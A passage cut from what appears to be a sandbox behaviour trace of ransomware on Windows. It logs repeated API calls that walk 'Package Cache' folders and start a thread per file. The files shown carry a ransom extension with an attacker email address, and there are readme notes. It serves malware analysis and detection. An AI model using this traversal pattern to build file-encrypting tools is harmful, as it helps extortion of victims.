_Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0171.053] Sleep (dwMilliseconds=0x1) [0171.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30243d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0171.148] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.148] FindClose (in: hFindFile=0x2f805a0 | out: hFindFile=0x2f805a0) returned 1 [0171.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1770) returned 1 [0171.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84200) returned 1 [0171.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e290) returned 1 [0171.148] RtlExitUserThread (Status=0x0) Thread: id = 1791 os_tid = 0xec0 [0169.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f842b8 [0169.224] wcscpy (in: _Dest=0x2f842b8, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0169.225] wcscat (in: _Dest=0x2f842b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0169.225] wcscat (in: _Dest=0x2f842b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0169.225] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe19d8 [0169.225] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80760 [0169.225] wcscmp (_String1=".", _String2=".") returned 0 [0169.225] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.226] wcscmp (_String1="..", _String2=".") returned 1 [0169.226] wcscmp (_String1="..", _String2="..") returned 0 [0169.226] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.226] wcscmp (_String1="packages", _String2=".") returned 1 [0169.226] wcscmp (_String1="packages", _String2="..") returned 1 [0169.226] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x3024490 [0169.226] wcscpy (in: _Dest=0x3024490, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0169.226] wcscat (in: _Dest=0x3024490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0169.226] wcscat (in: _Dest=0x3024490, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0171.053] Sleep (dwMilliseconds=0x1) [0171.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3024490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0171.147] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.147] FindClose (in: hFindFile=0x2f80760 | out: hFindFile=0x2f80760) returned 1 [0171.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19d8) returned 1 [0171.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f842b8) returned 1 [0171.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ece0) returned 1 [0171.147] RtlExitUserThread (Status=0x0) Thread: id = 1792 os_tid = 0xec4 [0169.226] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f835c8 [0169.226] wcscpy (in: _Dest=0x2f835c8, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0169.226] wcscat (in: _Dest=0x2f835c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0169.226] wcscat (in: _Dest=0x2f835c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0169.226] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1ea8 [0169.226] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f805e0 [0169.227] wcscmp (_String1=".", _String2=".") returned 0 [0169.227] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.227] wcscmp (_String1="..", _String2=".") returned 1 [0169.227] wcscmp (_String1="..", _String2="..") returned 0 [0169.227] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.227] wcscmp (_String1="packages", _String2=".") returned 1 [0169.227] wcscmp (_String1="packages", _String2="..") returned 1 [0169.227] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x3024610 [0169.228] wcscpy (in: _Dest=0x3024610, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0169.228] wcscat (in: _Dest=0x3024610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0169.228] wcscat (in: _Dest=0x3024610, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0171.053] Sleep (dwMilliseconds=0x1) [0171.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3024610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0171.145] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.145] FindClose (in: hFindFile=0x2f805e0 | out: hFindFile=0x2f805e0) returned 1 [0171.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ea8) returned 1 [0171.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f835c8) returned 1 [0171.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e550) returned 1 [0171.145] RtlExitUserThread (Status=0x0) Thread: id = 1793 os_tid = 0xec8 [0169.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f83680 [0169.228] wcscpy (in: _Dest=0x2f83680, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0169.228] wcscat (in: _Dest=0x2f83680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0169.228] wcscat (in: _Dest=0x2f83680, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0169.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2110 [0169.228] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80620 [0169.229] wcscmp (_String1=".", _String2=".") returned 0 [0169.229] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.229] wcscmp (_String1="..", _String2=".") returned 1 [0169.229] wcscmp (_String1="..", _String2="..") returned 0 [0169.229] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.229] wcscmp (_String1="packages", _String2=".") returned 1 [0169.229] wcscmp (_String1="packages", _String2="..") returned 1 [0169.229] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x30246d0 [0169.230] wcscpy (in: _Dest=0x30246d0, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0169.230] wcscat (in: _Dest=0x30246d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0169.230] wcscat (in: _Dest=0x30246d0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0171.053] Sleep (dwMilliseconds=0x1) [0171.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30246d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0171.143] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.143] FindClose (in: hFindFile=0x2f80620 | out: hFindFile=0x2f80620) returned 1 [0171.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2110) returned 1 [0171.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83680) returned 1 [0171.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ddc0) returned 1 [0171.143] RtlExitUserThread (Status=0x0) Thread: id = 1794 os_tid = 0xecc [0169.230] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa2138 [0169.230] wcscpy (in: _Dest=0x2fa2138, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0169.230] wcscat (in: _Dest=0x2fa2138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0169.230] wcscat (in: _Dest=0x2fa2138, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0169.230] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0169.230] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c305154, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c305154, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80660 [0169.233] wcscmp (_String1=".", _String2=".") returned 0 [0169.233] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c305154, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c305154, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.233] wcscmp (_String1="..", _String2=".") returned 1 [0169.233] wcscmp (_String1="..", _String2="..") returned 0 [0169.233] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c292a36, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c292a36, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c292a36, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.233] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.233] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.233] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c292a36, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STATER~1.D0E")) returned 1 [0169.233] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.233] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.233] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4df0 [0169.233] wcscpy (in: _Dest=0x2fc4df0, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0169.233] wcscat (in: _Dest=0x2fc4df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0169.233] wcscat (in: _Dest=0x2fc4df0, _Source="state.rsm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0171.052] Sleep (dwMilliseconds=0x1) [0171.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0171.140] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c305154, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6f498, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VCREDI~1.D0E")) returned 1 [0171.140] wcscmp (_String1="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.140] wcscmp (_String1="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.140] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f84b18 [0171.140] wcscpy (in: _Dest=0x2f84b18, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0171.140] wcscat (in: _Dest=0x2f84b18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0171.140] wcscat (in: _Dest=0x2f84b18, _Source="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" [0171.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0171.141] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c305154, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6f498, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VCREDI~1.D0E")) returned 0 [0171.141] FindClose (in: hFindFile=0x2f80660 | out: hFindFile=0x2f80660) returned 1 [0171.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0171.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2138) returned 1 [0171.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5430) returned 1 [0171.142] RtlExitUserThread (Status=0x0) Thread: id = 